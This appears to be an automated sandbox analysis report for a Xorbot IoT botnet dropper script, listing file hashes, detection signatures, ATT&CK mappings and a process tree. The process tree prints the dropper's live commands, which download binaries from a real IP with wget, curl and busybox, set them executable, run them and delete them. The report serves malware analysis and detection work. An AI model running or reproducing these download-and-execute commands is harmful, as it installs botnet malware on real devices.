xorbot | 978fc644e382031d095958d03fb242eb55c241c6d1d35f957b09c48752ceba6b

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/01/2025, 19:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250122-xprjfa1pal
SHA256 978fc644e382031d095958d03fb242eb55c241c6d1d35f957b09c48752ceba6b
MD5 ec52ce4b52575d6b8afad96d8d6307be
SHA1 71a8d967c1865895af071d5c30674645b6504bff
SHA512 76817f6a723afc1870c06ed7839abbfd29516619ac0d11818eb92b3d5a4dac9ad1670d6498384c187c8c1cb294df53b4768c2eb117739207610a9e1c0d744c8f
SSDEEP 96:ZpjnfQLj9EYFLJ2LJPryix9yYfbHY86myA:znfQLj9EYFq97LF5
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A	781	bins.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm	curl
File opened for modification	/tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A	wget
File opened for modification	/tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A	curl
File opened for modification	/tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A	busybox
File opened for modification	/tmp/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://66.63.187.225/bins/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  ./x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  2⤵
  PID:781
- /bin/rm
  rm x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
  2⤵
  PID:783
- /usr/bin/wget
  wget http://66.63.187.225/bins/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:793

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm

Path /tmp/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm

Path /tmp/GkT7rc5P3ElW06gPW60nmHZB5wFxH6DCvm
Size 64KB
SHA256 e24363df18de5dfc19396c94ea74824ff15827b816e01c204251d786849243a6
MD5 8713db73043efb7bb9eda646928008bb
SHA1 8251dc36ba1b5cc38b461c23b08d25f765b2ab5d
SHA512 024ae600cd32cfb30ad524295d36efc0b6f859c5a4be3b2053ade8fcc1ecb0ae2fa6c5d2ee7417fc7bc7a7eb77ad482b3b0a55bd97224051af1f834a20c17a90
SSDEEP 1536:/7doo2ZF7C8GWbLLs8hcD5LLNqceOjho618rji:/hn2ZF7rLLveDuceOZ8ru
MD5 SHA1 SHA512 SSDEEP

Submit Download

x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A

Path /tmp/x9jsstE13kE8jUN6V6LJK8iRoJsdpYa31A
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads